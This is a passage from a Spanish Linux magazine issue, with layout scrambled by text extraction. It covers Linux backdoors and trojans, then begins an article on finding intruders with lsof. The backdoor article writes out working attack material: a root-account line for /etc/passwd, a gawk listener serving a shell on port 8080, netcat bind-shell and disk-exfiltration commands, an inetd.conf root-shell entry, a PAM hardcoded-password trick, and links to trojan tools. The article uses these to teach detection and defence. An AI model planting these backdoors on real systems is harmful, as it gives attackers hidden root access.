La puerta trasera más simple supone aña- dir un usuario con privilegios de root a /etc/passwd y/o /etc/shadow. El mejor sitio para añadir una línea es a mitad del fichero, donde los administradores no sue- len leer con detenimiento. Tras introducir dicha línea, el fichero passwd podría tener este aspecto:

hacker_malig:x:0:0:cuenta

hacker

del

maligno:/root:/bin/bash

U

Al añadir una cuenta de usuario, el ata- cante ya no depende de un servicio deter-

 

Troyano con Awk

 

01

#!/usr/bin/gawk

-f

 

12 #

Leer

comando

 

02

BEGIN

 

{

13 Service

|&

getline

cmd

 

03

Port

=

8080

#

Puerto

en

el

que

14 if

(cmd)

{

escuchar

 

15 while

((cmd

|&

getline)

>

0

04

Prompt

 

=

“bkd>

#

El

prompt

 
 

#

16 comando,

Ejecutar

 

05

#

Abrir

 

puerto

de

escucha

 
 

#

17 respuesta

devolver

 

06

Service

 

=

“/inet/tcp/”

Port

“/0/0”

 

18 print

$0

|&

Service

 

07

19 close(cmd)

08

while

 

(1)

{

20 }

09

do

{

21 while

}

(cmd

!=

“exit”)

10

#

Mostrar

prompt

 

22 close(Service)

11

printf

 

Prompt

|&

Service

23 }

WWW.LINUX - MAGAZINE.ES

Número 29

13

PORTADA • Pasadizo Secreto

PORTADA • Pasadizo Secreto Figura 1: PHPremoteshell proporciona un acceso oculto a los atacantes con cualquier

Figura 1: PHPremoteshell proporciona un acceso oculto a los atacantes con cualquier navega- dor. El atacante sólo tiene que esconder un archivo en el directorio adecuado.

minado; por contra, puede ingresar al sis- tema tanto local como remotamente. Usando servicios como SSH, el atacante se asegura de que la sesión sea imposible de analizar, incluso con herramientas como tcpdump, ya que se usa una cone- xión cifrada. Por supuesto, el atacante ten- drá que limpiar wtmp y utmp, así como los archivos de registro a fin de eliminar ras- tros.

Netcat

La utilidad Netcat es también un puerta trasera muy popular. Por ejemplo, Netcat tiene la capacidad de clonar discos duros. Para hacerlo, el atacante ejecuta el comando dd if=/dev/hda | netcat IP-DES- TINO puerto en el sistema del disco a clo- nar, y netcat -l -p puerto > /dev/sda en el sistema de destino para crear una copia idéntica del disco duro, incluida cualquier información confidencial contenida en él. De todas formas, el uso más habitual de Netcat es redirigir su entrada a una shell. Si se establece la comunicación con un sis- tema destino, la entrada pasa directamente a la shell. El atacante sólo necesita insertar netcat -l -p 1234 -e /bin/bash en la máquina de destino y netcat IP-DESTINO 1234 en la máquina atacada.

Un Mal Uso de Awk

Pocos usuarios son conscientes del poten- cial destructivo de esta herramienta clásica de Unix: Awk. Grugq mostró el uso de Awk como puerta trasera en la Blackhat Confe- rence de 2005 [1]. El ataque ata a Awk en

14 Número 29

un puerto determinado (Listado 1). Enton- ces el atacante puede teclear netcat direc- ción_de_destino 8080 para conectar con el sistema y que le sea devuelta una shell simple.

Troyano con inetd

El superservidor inetd también permite a los atacantes implementar troyanos sim- ples. La forma de hacerlo es bastante senci- lla: el atacante define un nuevo servicio añadiendo una línea al fichero /etc/ inetd.conf. Se podría usar el puerto 79, puerto en el que suele escuchar el demonio finger. La entrada para instalar un servicio de puerta trasera con una shell interactiva con privilegios de root queda como ésta:

finger stream tcp nowait root /bin/sh sh -i. Como el puerto 79 pertenece a un servi- cio estándar, el atacante puede usar sim- plemente la palabra clave finger. Entonces inetd comprobará si la palabra coincide con algún puerto definido en /etc/services, en cuyo caso comenzará la escucha en dicho puerto. De este modo el hacker puede ejecutar netcat hacia el puerto finger de la máquina víctima para obtener una shell con privilegios de root. Si decidiera usar un puerto desconocido, sin entrada en /etc/services, tendría que añadir a dicho fichero la entrada para su servicio en lugar de la de finger.

Troyano PAM

Los módulos PAM (Pluggable Authentica- tion Modules) proveen interfaces de pro- gramación para sistemas de autenticación.

WWW.LINUX - MAGAZINE.ES

Hoy día la mayoría de aplicaciones usan esta librería, lo que convierte a estos módulos en un lugar idóneo donde camu- flar un troyano, particularmente intere- sante para los atacantes. Una forma de componer PAM es mani- pulando el fichero support.c del código fuente de PAM, de forma que incluye una contraseña por defecto, oculta en el código. Seguidamente el módulo, antes de proce- der a autenticarle, comprueba que la con- traseña que el usuario ha proporcionado coincide con la contraseña secreta incluida en el módulo. Si no coincide, se usa el sis- tema de autenticación habitual. Esto signi- fica que cada usuario del sistema (incluido root) tiene dos contraseñas: una almace- nada en /etc/shadow y una llave almace- nada en la librería PAM manipulada.

Loki 2

Loki 2 [2] fue publicada en Phrack Maga- zine como prueba de concepto de troyano- túnel. La herramienta esconde comandos de terminal camuflándolos dentro de las peticiones DNS, respuestas DNS, peticio- nes ICMP echo y respuestas ICMP echo. Una herramienta de monitorización de redes como tcpdump no detectaría tráfico sospechoso a priori, ya que el ataque no necesita abrir nuevos puertos. De todos modos, este tráfico ICMP y/o DNS inusual puede ser indicativo de alguna anomalía. Loki está basado en una arquitectura cliente/servidor, y soporta cifrado mediante el uso de algoritmos como Blow- fish o Xor. Esto hace que la reconstrucción de la sesión sea bastante compleja. En la práctica, en las aplicaciones es más lógico usar las respuestas ICMP echo que las peti- ciones, ya que muchos cortafuegos blo- quean las peticiones entrantes, mientras que permiten pasar las respuestas salientes – después de todo no tiene mucho sentido bloquear las respuestas que se dan a un ping.

Troyanos Web

Los atacantes han desarrollado una serie de troyanos web a fin de trabajar con corta- fuegos cuidadosamente configurados. El motivo principal es que un servidor web siempre necesita permitir el acceso web, es decir, siempre habrá un puerto abierto que un atacante podría explotar. Esto llevó al desarrollo de los troyanos CGI y PHP. Los dos métodos se basan en los mismos principios, y ambos brindan al atacante un acceso basado en el navega-

dor. Una gran ventaja de los troyanos web es que el acceso al servidor puede ser con- ducido a través de los servicios que ofrecen proveedores de anonimato como Tor o JAP. PHPremoteshell [3] es un ejemplo de este tipo de troyanos. El atacante sólo tiene que ocultar el archivo PHP en las profundida- des del sistema de ficheros del servidor y asignarle los permisos pertinentes. Eso es

todo lo necesario para tener fácil acceso con cualquier navegador (Figura 1). La shell oculta proporciona información del sistema y ejecuta comandos arbitrarios en la máquina víctima. Al mismo tiempo incluye un navegador que soporta la subida y descarga de archivos (Figura 2). Algunos troyanos web establecen una conexión con un servidor web maestro y

Pasadizo Secreto • PORTADA

aceptan comandos incrustados en el código HTML. La ventaja es que la cone- xión se inicia desde dentro del perímetro de la red, lo que en muchos casos ayuda al atacante a burlar el cortafuegos. El hecho de que los comandos estén ocultos en el código HTML es otra gran ventaja, ya que hace que este código malicioso sea difícil de descubrir por los forenses. El “Reverse

 

Tabla 1: Herramientas troyano

Nombre

Descripción

Fuente

Kaiten

Un troyano IRC. Se conecta al puerto 6667 de un servidor IRCy espera órdenes en un canal. Entre otras cosas, soporta ataques por saturación y puede ejecutar código arbitrario.

http://packetstorm.linuxsecurity.com/irc/kaiten.c

Netcat

Los script kiddies suelen usar netcat como troyano dada su capacidad para redirigir la entrada/salida.

http://netcat.sourceforge.net

PHPRemoteshell

PHPRemoteshell es un troyano web; un atacante sólo debe dejarlo en un directorio capaz de ejecutar código PHP. La shell remota proporcions al atacante acceso a shell y navegación de directorios, así como subida y descarga de archivos.

http://phpremoteshell.labs.libre-entreprise.org

Reverse WWW Tunnel Backdoor

Un troyano para evadir cortafuegos. El troyano http://packetstormsecurity.org/groups/thc/

se conecta a un servidor web maestro y acepta comandos incrustados en el código de páginas web.

rwwwshell-2.0.pl.gz

Bindtty

Un troyano con soporte para terminal. Bindtty quedará a la escucha tras el puerto 4000 por defecto.

http://www.2701.org/archive/200311240000.html

Silentdoor

Silentdoor es un troyano de última generación. http://cmn.listprojects.darklab.org/

No escucha tras un puerto específico, sino que usa libpcap para capturar el trafico de la red. Cuando detecta un paquete especialmente manipulado puede, por ejemplo, devolver una shell.

SAdoor-20031217.tgz

Safebreaker

Un troyano de nueva generación que usa los RAW sockets de C para capturar el tráfico de la red y devuelve una terminal o realiza una conexión inversa cuando detecta un paquete especialmente manipulado. Usa gnutls para cifrar el tráfico y ofuscar el contenido de la sesión.

http://www.informatik.uni-freiburg.de/~alsbiha/

code.htm

Loki

Un troyano que usa los paquetes ICMP para transportar las órdenes. Los paquetes se pueden cifrar con los cifrados Blowfish o XOR.

http://packetstorm.linuxsecurity.com

Archivos SUID

Se pueden reemplazar archivos suid por binarios troyanizados. El atacante puede obtener privilegios de root pasando un parámetro o definiendo una variable de entorno.

Troyano PAM

Ya que los módulos PAM son la interfaz de autenticación estándar en Linux, se puede hardcodear una contraseña en support.c para acreditarse en cualquier servicio que use el software PAM manipulado.

/etc/passwd, /etc/shadow y /etc/initd.conf

Normalmente los atacantes añaden servicios o usuarios con privilegios de root a estos ficheros para poder acreditarse.

WWW.LINUX - MAGAZINE.ES

Número 29

15

PORTADA • Pasadizo Secreto

PORTADA • Pasadizo Secreto Figura 2: Los troyanos web como PHPremoteshell ofrecen cómodas utilidades de subida

Figura 2: Los troyanos web como PHPremoteshell ofrecen cómodas utilidades de subida y descarga de cualquier tipo de archivo.

WWW Tunnel” (Túnel inverso para www) [4] es un ejemplo de este tipo de troyano.

Bindshell

Todos los tipos de troyanos que hemos visto hasta ahora tienen un inconveniente importante: no proporcionan soporte para terminal. Están orientados a ser utilizados mediante el uso de líneas, lo que explica porqué con ellos no se pueden ejecutar programas como vi, que usan caracteres. Un troyano sin este inconveniente, y con soporte para terminal, es bindtty, por sd [5]. Una herramienta basada en cliente/ servidor, donde el componente servidor abre un puerto definido en el código, por defecto el 4000. Siempre que un cliente se conecte a este puerto obtendrá una shell con soporte de pseudoterminal. Esto da al atacante acceso ilimitado al sistema remoto. Una enorme ventaja en comparación con tipos más antiguos de puertas traseras. Al mismo tiempo, el tro- yano permite que se conecten varios clien- tes simultáneamente, una habilidad que los troyanos basados en netcat o gawk no poseen.

Troyanos Sniffer

Hay una técnica relativamente reciente que hace uso del rastreo de paquetes (sniffing). Estos troyanos capturan todo el tráfico de una interfaz de red respondiendo a un tipo determinado de paquetes. Silentdoor [6] es

16 Número 29

una implementación de troyano sniffer que

usa la función de captura de la librería libp- cap. Silentdoor, para asegurarse de que sólo reacciona a los paquetes dirigidos al puerto UDP 53, actúa del siguiente modo:

1. Busca en el payload una clave para el troyano.

2. Desencripta el contenido del paquete (XOR).

3. Comprueba que el paquete realmente contiene una orden para Silentdoor.

4. Ejecuta el comando.

Una vez más, este tipo de troyano no proporciona soporte para terminal. El punto fuerte de Silentdoor es que se enconde bien y sólo abre un puerto durante la conexión. Es posible encontrar este tipo de troya- nos buscando conexiones SSL, paquetes con aspecto de payload cifrado o conexio- nes en puertos desconocidos.

Safebreaker

Safebreaker es un troyano sniffer de nueva generación. Lo que motivó su desarrollo fue la implementación de un troyano que no dependiese de la librería libpcap de tcpdump [7], la cual aún tiene asuntos de estabilidad por resolver y además no suele estar instalada en la mayoría de sistemas. Al mismo tiempo, el desarrollador quería que Safebreaker usase una combinación de técnicas contemporáneas para demostrar así los peligros potenciales de las nuevas

WWW.LINUX - MAGAZINE.ES

generaciones de troyanos. Otro objetivo importante era la sustitución del frágil cifrado XOR por otro sistema de encripta-

ción más robusto. Para dicha tarea, los des- arrolladores tuvieron en cuenta tres libre- rías:

OpenSSL [9], GnuTLS [10] y Cryptlib [11], eligiendo finalmente GnuTLS, dada la excelente documentación y la facilidad de integración con el software actual. Para modificar las funciones de recep- ción y transmisión de paquetes, y además dotar al troyano de cifrado en la conexión, sólo hay que cambiar unas pocas líneas de código. Básicamente, Safebreaker actúa del siguiente modo:

1. Comprueba cada paquete para determi-

nar si es un paquete TCP o no. Si no lo es, no puede contener órdenes, y pasa por tanto al siguiente paquete. 2. Con cada paquete TCP compara el puerto de destino con un valor predefi-

nido. Sólo los dirigidos a un puerto espe- cífico son los destinados al troyano, el resto se desecha.

3. No importa que no haya un servicio tras el puerto de destino. El troyano no blo- quea ni abre ningún puerto. La compro- bación del puerto de destino sólo sirve para precisar el número de paquetes diri- gidos al troyano. Tampoco tiene efecto sobre un posible servicio tras el puerto de destino.

4. El siguiente paso es comprobar que las marcas SYN y ACK son las esperadas.

5. Si es así, lo siguiente es comprobar si el ID del paquete concuerda con el ID mágico del troyano.

6. Para acabar, ya podemos estar bastante seguros de que el paquete contiene órde- nes para el troyano. Se evalúa por tanto el número de secuencia del paquete. Ciertos números representan comandos específicos. Safebreaker puede desempe- ñar dos tareas distintas: bien construir un pseudoterminal en el puerto especifi- cado por el paquete, dando el control a quien lo envía; o bien conectar con el cliente, usando de nuevo el puerto espe- cificado en el paquete. Esta forma de enfocarlo evita gran parte de los corta- fuegos, ya que la mayoría permite cual- quier conexión saliente originada en la red interna. Este tipo de instalación sólo bloquea un

puerto cuando existe la conexión entre el atacante y el troyano, esto es, cuando el atacante ya ha ingresado en el sistema (netstat no mostrará una conexión en otras

circunstancias). Otra ventaja es que así el troyano no es accesible para usuarios for- tuitos; para acceder por la puerta trasera hay que proporcionar los valores correctos para el puerto, el número de secuencia y el ID.

A la Caza de Puertas Traseras

Siempre es bueno usar herramientas que comprueban la integridad del sistema de ficheros, como Tripwire [12]. Tripwire monitoriza archivos y directorios críticos del sistema, calculando el checksum y comparándolo con valores anteriores. Si encuentra un cambio, Tripwire lo notificará al administrador, lo que le permite determi- nar qué archivos fueron modificados, eli- minados o añadidos durante el transcurso del ataque. Tripwire no nos sirve en los escenarios donde el atacante ha eliminado el binario tras ejecutar el troyano, ya que la herra- mienta se encontraría en la memoria y no en el disco. Aunque al reiniciar se elimina- ría el troyano de la memoria, Tripwire y herramientas similares no podrían detectar el ataque. También es bueno comprobar con fre- cuencia los archivos /etc/shadow, /etc/ passwd y /etc/inetd.conf. Puedes hacerlo simplemente con diff, comparándolos con una copia guardada en un medio prote- gido. Si tu servidor SSH permite el ingreso basado en clave, comprueba que el archivo authorized_keys no contenga entradas nocivas. En ese caso el atacante ni siquiera necesitaría clave para acreditarse. De nuevo, para archivos más grandes, diff [13] es una buena opción. Otra medida de protección es buscar regularmente archivos SUID que pudieran ser usados como troyano. La forma más fácil de hacerlo es mediante el comando find / -type f -perm -04000 -ls -uid 0 2 > /dev/null. Ya que una puerta trasera es indepen- diente, también lo será el proceso encar- gado de crearla, por tanto su ID y su nom- bre aparecerán en el listado de procesos, a menos que lo oculte un rootkit como Ove- rride [14]. Por eso la mayoría de troyanos se esconden detrás de nombres aparente- mente inofensivos como ps. Es fácil modifi- car el nombre del programa sobreescri- biendo argv [0]. Por otro lado, este tipo de camuflaje es bastante trivial. Sólo hay que comprobar el tiempo de duración total del

proceso. Si descubrimos un ps que ha estado corriendo durante más de 12 horas, podemos suponer que se trata de un pro- ceso malintencionado. También hay que tener en cuenta que un troyano simple espera conexiones entrantes en un puerto fijo. Dicho puerto aparecería en la salida de netstat. De todas formas nunca se puede estar del todo seguro, ya que los rootkits como Override también pueden ocultar puertos. El comando netstat -an | grep LISTEN | grep -v LISTENING muestra el listado de puertos abiertos. Los escáneres de puertos propor- cionan un método mucho más fiable a la hora de investigar puertos. Los troyanos sniffer, la última tendencia, son algo más complejo. netstat sólo mues- tra la conexión cuando un cliente está conectado, aunque realmente puede que ni siquiera haya un puerto abierto. En otras palabras netstat no nos sirve de ayuda en estos casos, especialmente si se establece una conexión saliente desde la red local (conexión inversa), tampoco nos serviría un escáner de puertos. El único método efectivo en estos esce- narios es usar herramientas de monitoriza- ción de tráfico como tcpdump o ethereal [15]. Debido a que un troyano sniffer usa un procedimiento fijo para saber si un paquete va dirigido a él o no, sólo podre- mos detectarlo buscando patrones repetiti- vos en el tráfico de la red. Después de todo, es bastante improbable que un puerto use un número de secuencia y un ID idénticos cada vez. Podemos hallar fácilmente anomalías en el tráfico de la red mediante la definición de reglas que nos permitan comprobar si se da o no el caso . Los sistemas IPS e IDS también pueden ayudar a la hora de encontrar troyanos conocidos.

Defensa

No hay una solución única para todos los tipos de puerta trasera. Si un atacante con- sigue instalar una puerta trasera en un sis- tema es porque dicho sistema tenía algún agujero de seguridad. Un buen troyano siempre necesita privilegios de root. En cuanto un atacante consigue privilegios de root, se puede considerar que el sistema está “enfermo”. Para reforzar nuestra pro- tección frente a los troyanos necesitamos un diseño de seguridad sólido, así como parchear el sistema regularmente. Unas buenas reglas de cortafuegos también pue- den contribuir a la seguridad. Dichas reglas

WWW.LINUX - MAGAZINE.ES

Pasadizo Secreto • PORTADA

deberán respetar la máxima de que se ha de denegar todo lo que no esté permitido de forma explícita. Las reglas de cortafuegos que permiten cualquier tipo de tráfico saliente generado en la red interna son una invitación a los hackers para el uso de métodos de cone- xión inversa. También es buena idea el uso de proxies

y balanceo de carga. Si además se configu-

ran los cortafuegos para que sólo permitan la comunicación con los proxies, los hac- kers lo tendrán más difícil a la hora de encontrar un vector de ataque válido. Un atacante todavía podría inyectar un tro- yano web; aún así no tendría privilegios de root ni soporte para terminal, algo poco divertido para él. Hagas lo que hagas, ase- gúrate de eliminar de tus configuraciones

todas las opciones y servicios que no vayas

a necesitar.

RECURSOS

[1] Limpiador de archivos de registro:

http://darklab.org/~jot/logclean-ng/

logcleaner-ng.html

[2] Loki 2: http://artofhacking.com/files/

phrack/phrack51/live/aoh_p51-06.

htm

[3] Phpremoteshell, por Emmanuel

Saracco: http://labs.libre-entreprise. org

[4] rwwwshell Van Hauser: http:// gray-world.net/papers/rwwwshell.txt

[5] bindtty: http://www.2701.org/

archive/200311240000.html

[6] Silentdoor, por Brandon Edwards:

http://www.megasecurity.org/

trojans/s/silentdoor/Silentdoor.html

[7] TCPDump: http://www.tcpdump.org/

[8] Safebreaker, por Amir Alsbih: http:// www.informatik.uni-freiburg.de/ ~alsbiha

[9] OpenSSL: http://www.openssl.org

[10] GnuTLS: http://www.gnu.org/ software/gnutls/

[11] Cryptlib, por Peter Gutmann: http://

www.cs.auckland.ac.nz/~pgut001/

cryptlib/

[12] Tripwire: http://sourceforge.net/ projects/tripwire/

[13] Diffutils: http://www.gnu.org/ software/diffutils/diffutils.html

[14] Override rootkit: http://www. informatik.uni-freiburg.de/~alsbiha

[15] Ethereal: http://www.ethereal.com

Número 29

17

PORTADA • Isof

Búsqueda Búsqueda de de intrusos intrusos con con lsof. lsof.

COMPROBACIÓN COMPROBACIÓN

RÁPIDA RÁPIDA

Rastreando y descubriendo intrusos con la versátil herramienta de administración lsoft. POR CASPAR CLEMENS MIERAU

¿ Han sido sus servidores hackeados?

¿Están sus procesos ejecutándose des-

controladamente? Si tiene sospechas

de una intrusión, le hará falta información precisa de lo que está sucediendo en el sis- tema. Los manejadores de ficheros abiertos son una fuente útil para esta información. lsof [1] analiza las profundidades del sistema de ficheros en busca de estos archivos y luego devuelve un resultado detallado y exhaustivo. Para estar completamente preparado frente a un ataque hace falta tener un IDS (Sistema de Detección de Intrusos), como Snort, Trip- wire o Aide, para comprobar el sistema de ficheros y los flujos de datos en busca de patrones sospechosos. Sin embargo, si no dis- pone del tiempo o de los recursos para una respuesta completa ante una intrusión, Linux posee diversos programas para la línea de comandos capaces de descubrir huellas en un sistema. Los sospechosos habituales para el diagnóstico de un servidor son ps, netstat, top, fuser y otras utilidades. lsof es una única herramienta que propor- ciona un resumen similar de información del

18 Número 29

sistema. Se puede utilizar lsof como una única fuente para obtener la información que de otra manera requeriría un colección com- pleta de programas de administración. Como dice el dicho, en Unix “todo es un fichero”. Casi todas las actividades en un sis-

tema de este tipo giran en torno a los ficheros abiertos. Los sistemas basados en Unix utili- zan ficheros normales, ficheros especiales de bloques, ejecutables, libre-

rías, directorios, flujos internos de datos (Unix Domain Sockets) y cone- xiones de redes. lsof es capaz de recolectar de forma centralizada y sinte- tizar toda esta información en pistas significativas acerca de la naturaleza de un ataque. Como cualquier utili- dad, lsof está sujeta a manipulaciones una vez que un atacante se haya acomodado. Si se es serio

con respecto a su uso para la detección de intrusos, deshágase de los fuentes tras la compilación y ubique el ejecutable en un medio protegido contra escritura como un CD-ROM. Por supuesto, si un atacante ha modificado directamente el kernel (por medio de un rootkit para el kernel, por ejemplo) la salida de lsof no será fiable incluso si la herra- mienta ha permanecido inalterada. Sin

incluso si la herra- mienta ha permanecido inalterada. Sin Figura 1: La prometedora herramienta glsof proporciona

Figura 1: La prometedora herramienta glsof proporciona a los fans de las GUIs un acceso cómodo a la configuración de los filtros.

WWW.LINUX - MAGAZINE.ES

embargo, como se verá en este artículo, muchos atacantes prueban trucos que no son

especialmente sofisticados, aunque si fácil- mente detectables con herramientas como lsof. lsof no es en absoluto un sustituto de un IDS completo, pero si ya es demasiado tarde

o si no se está interesado en implantar o

manejar un sistema más exhaustivo, puede utilizarse para buscar huellas.

Investigaciones

La Tabla 1 lista diversos ejemplos para investigar un sistema. Si se habilita la opción de seguridad de lsof, sólo el root será capaz de obtener el resultado de la ejecu- ción de estos comandos. En modo seguro,

lsoft sólo mostrará a los usuarios los detalles que solamente le afecten a ellos. Sin embargo, incluso en modo seguro propor- ciona a los usuarios sin los privilegios de root pocos detalles, ya que hacen falta los privilegios de éste para acceder a los deta- lles en /proc. lsof utiliza un formato tabular para mos- trar la información filtrada como se especi- fica en la lista de parámetros, incluyendo las siguientes columnas por defecto:

• Nombre del proceso: COMMAND

• ID del proceso: PID

• Nombre de la cuenta del usuario en la que se está ejecutando el proceso: USER

• Descriptor del fichero: FD

• Tipo del fichero: TYPE

• Dispositivo: DEVICE

• Tamaño: SIZE

 

Listado 1: Compilando lsoft

01

wget

ftp://lsof.itap.purdue.edu/pub/t

ools/unix/lsof/lsof.tar.bz2

02 tar xjf lsof.tar.bz2

03 cd lsof_4.77

04 wget

 

ftp://lsof.itap.purdue.edu/pu

b/Victor_A_Abell.gpg

05 gpg —import

 

Victor_A_Abell.gpg

06 gpg —verify

 

lsof_4.77_src.tar.sig

lsof_4.77_src.tar

07 tar xf lsof_4.77_src.tar

08 cd lsof_4.77_src

09 ./Configure linux

10 make -s

11 ./lsof -v

• Conexión: NODE

• Nombre completo: NAME Se puede manipular la salida para proce- sarla con otras herramientas utilizando lsof -F. Los formatos especiales ayudan a las herramientas a analizar los campos indivi- duales (para más detalles véase la página de ayuda de la sección Output for other pro- grams Salida para otros programas).

Saturación de Información

Si se llama a lsof sin parámetros devuelve demasiada información como para propor- cionar un resumen útil. La saturación de información asustaría a la mayoría de los usuarios. Sin embargo, los parámetros de la línea de comandos pueden ayudarle a con- centrarse en los datos que realmente se nece- sitan. Si se combinan múltiples parámetros, lsof supone una operación OR lógica por defecto; sin embargo, se puede especificar -a para una operación AND (última línea de la Tabla 1). Una tarea típica de lsof es la identificación de los procesos que impiden a los usuarios desmontar los medios de almacenamiento. Si se llama con la opción -t nombre_directorio

Isof • PORTADA

llama con la opción -t nombre_directorio Isof • PORTADA Figura 2: El cuadro de diálogo de

Figura 2: El cuadro de diálogo de filtros Jlsof nos indica los parámetros correctos de lsoft. Aunque esto podría confundir a los usuarios que únicamente utilizan la GUI, les facilita la migración a la línea de comandos.

devuelve una lista de IDs de procesos que acceden al CD-ROM:

$ umount /dev/cdrom

umount: /cdrom: device is busy

$ kill -9 `lsof -t /dev/cdrom`

$ umount /dev/cdrom

$ eject

Sin embargo, este método es tan drástico como efectivo.

Encontrando y Compilando lsof

Encontrando y Compilando lsof

Lsof soporta diversas variantes de Unix y es probable que forme parte de su sistema Linux básico, o al menos que resida en el repositorio estándar. Para instalarlo en Debian, por ejemplo, hay que ejecutar el comando apt-get install lsof. El paquete no tiene dependencias, aparte de la obligatoria Libc 6.

Hay dos razones por las que se debería evi- tar el paquete binario precompilado: la com- patibilidad con el sistema y la seguridad. Como el desarrollador de lsof, Vic Abel, comenta en el FAQ [2], sólo se pueden garantizar un conjunto completo de caracte- rísticas y una estabilidad óptima si se com- pila la versión actual de lsof en la máquina donde se va a ejecutar, ya que lsof usa la arquitectura del sistema y el kernel. Siempre es mucho mejor obtener las herramientas que se van a utilizar para análisis preventi- vos o forenses desde una fuente segura y no mezclarlas con las herramientas están- dar del sistema para evitar los riesgos de ser manipuladas por los rootkits.

Los fuentes de lsof se compilan fácilmente, de modo que se preferirá una versión que se ajuste al sistema. Los comandos del Lis- tado 1 obtienen los fuentes de la red; utilizan GnuPG para comprobar la firma (téngase en cuenta que la clave en nuestro ejemplo

fue obtenida de una fuente insegura), configura el código fuente y lo compila. Durante la fase de configuración, el usuario tendrá que tomar algunas decisiones. Las opciones HASSECURITY y HASNOSOCK- SECURITY son importantes. Si sólo se desea que el usuario root pueda utilizar lsof

para listar los ficheros y los sockets abiertos de todos los usuarios, habrá que contestar [y] y [n] respectivamente. La terminología inconsistente tiende a ser confusa.

Para concluir el proceso, ./lsof -v indica las opciones con las que fue compilado. El mensaje Only root can list all files (Sólo el usuario root puede listar todos los ficheros) significa que los usuarios normales serán incapaces de utilizar el programa para sus propios propósitos para obtener un listado de información crítica del sistema. (El acceso restringido a lsof es un sistema de seguridad relativo, ya que la mayoría de la información que se obtiene con él puede obtenerse con herramientas como ps y netstat, aunque el proceso puede que no sea tan sencillo. Las versiones precompila- das manejan la seguridad de forma dife- rente en cada sistema. Debian autoriza a los usuarios sin privilegios administrativos el uso sin restricciones de lsof, mientras que Red Hat Enterprise aplica las restricciones.

WWW.LINUX - MAGAZINE.ES

Número 29

19

PORTADA • Isof

PORTADA • Isof Figura 3: La herramienta implementada en Java Jlsof convierte la salida de lsof

Figura 3: La herramienta implementada en Java Jlsof convierte la salida de lsof a una simple tabla.

Expectativas

Los comandos listados en la Tabla 1 son ade- cuados para descubrir hechos importantes acerca de un sistema antes o después de un ataque. Para defenderse de los invasores, hay que familiarizarse con el estado normal del sistema y estar pendiente de las entradas sos- pechosas que tengan probabilidad de apare- cer. El siguiente ejemplo utiliza un sistema tra- dicional LAMP (Linux, Apache, MySQL, PHP). El administrador nota un incremento enorme en la carga de la red que no refleja el número de páginas a las que se están acce- diendo. Sospecha que un atacante está inyec- tando un troyano que copia ficheros por la red, lanzando ataques distribuidos por ésta o que envía correo spam. En un entorno LAMP, el interfaz del sistema PHP es uno de los mayores objetivos, ya que PHP sufre de algu- nas debilidades en su diseño [6], y un script

programado con poco cuidado puede facilitar la entrada a un atacante. Si se está familiarizado con los patrones de ataque típicos de los sistemas PHP, probable- mente ya haya adivinado qué clase de infor- mación necesita averiguar con lsof. El servidor web Apache se ejecuta bajo su propia cuenta de usuario que por defecto es www-data (Debian), apache, httpd, o si aún puede ser peor, nobody (esta cuenta está nor- malmente reservada para NFS). Habitual- mente, los procesos adicionales se ejecutarán como root para poder soportar los puertos privilegiados y ser capaces de abrir los fiche- ros de registro. En contraste con esto, las comunicaciones de datos son manejadas por procesos sin privilegios. Por ello, un servidor web ofrece una configuración de usuario, unos ficheros ejecutables y unos puertos abiertos fácilmente adivinables. Por ejemplo, www-data ejecuta /usr/sbin/apache2 en Debian.

¿Qué es lo que se Está Ejecutando y Dónde?

En este contexto, hace falta una llamada a lsof -a -d txt -u www-data para listar los procesos que ejecuta el fichero /usr/sbin/apache2 con la cuenta de usuario www-data. La opción -a proporciona un AND lógico, -d txt lista sólo los ficheros ejecutables y -u www-data res- tringe la salida a un único usuario. Bajo cir- cunstancias normales, esto proporcionará los procesos de Apache.

 

Tabla 1: Ejemplos de lsof

Comando

Explicación

lsof

Sin parámetros, el comando proporciona un resumen.

lsof /bin/ bash

Lista todos los procesos que utiliza bash.

lsof -p PID

Lista los ficheros abiertos para los procesos con el identificador de proceso ID especificado.

lsof +D /tmp

Lista todos los ficheros abiertos en /tmp y en sus subdirectorios sin los enla- ces simbólicos.

lsof -u Benutzer

Lista todos los ficheros abiertos del usuario especificado.

lsof -u ^root

Lista todos los ficheros abiertos, excepto aquellos que hayan sido abiertos por el root.

lsof -d txt

Muestra una lista de procesos, similar a ps aux, listando los elementos con la entrada del descriptor de ficheros txt, en vez del número normal (txt hace referencia al código y los datos del programa para los ficheros ejecutables).

lsof +L1

Muestra todos los ficheros borrados que aún están abiertos y por ello ocu- pando aún espacio en disco, pero que no forman parte de ningún directorio (ficheros con menos de un enlace).

lsof -i

Ficheros asociados a la red.

lsof -i -P -n

Todos los ficheros asociados a la red que aún están abiertos sin el número de puerto como identificador del servicio y sin resolver el nombre del equipo (para las respuestas más rápidas).

lsof -i6

Muestra los ficheros asociados a IPv6.

lsof -i | grep ‘\->‘

Todas las conexiones activas.

lsof -a -i -u www-data Todos los ficheros de red abiertos para la cuenta www-data (AND gracias a -a).

20 Número 29

WWW.LINUX - MAGAZINE.ES

Si un atacante se las arregla para manipular

a PHP o los scripts de PHP y ejecutar coman- dos y programas del sistema en el servidor, estos comandos y procesos normalmente se ejecutarán bajo la misma cuenta de Apache…

a menos que un atacante haya aumentado sus

privilegios y se haya hecho con un acceso como root explotando otros agujeros de segu- ridad. Encontrar procesos que pertenezcan al usuario Apache y que también accedan a otros binarios o abran puertos inesperados, deberían disparar las alarmas. lsof -p PID sirve para investigar los procesos sospechosos para las conexiones de red, las librerías que se hayan cargado, los ficheros abiertos y muchas otras cosas. Como un hacker malintencionado tiende a utilizar sus propios servidores de FTP, IRC, tel- net o SSH, un análisis inicial debería incluir la búsqueda de puertos abiertos. El comando lsof -a -i -u www-data | grep LISTEN lista todos los sockets IP (-i), los sockets que haya abierto el usuario Apache, (-u www-data) y los que están escuchando en busca de conexiones (en este ejemplo grep LISTEN). Todos excepto el puerto 80 (HTTP) y el 443 (HTTPS) son sospechosos. Aunque una lla- mada a netstat proporcionará un resultado similar, lsof puede ayudar a realizar un análi- sis más detallado sin la necesidad de cambiar de herramienta.

El Mundo Real

Los exploits para Apache y PHP son bastante comunes. Los Listados 2a y 2b muestran dos extractos de los registros de lsof en servidores

 

Listado 2a: Camuflaje Bash

01 COMMAND

PID

USER

FD

TYPE

DEVICE

SIZE

NODE

NAME

 

bash

02 30334

www-data

cwd

DIR

3,8

4096

1571340

 

/home/user/public_html/w-agor

a/.m

03 bash

30334

www-data

txt

REG

3,8

496231

1571405

/home/user/public_html/w-agor

a/.m/bash

 

bash

04 30334

www-data

0w

REG

3,8

125

1571408

 

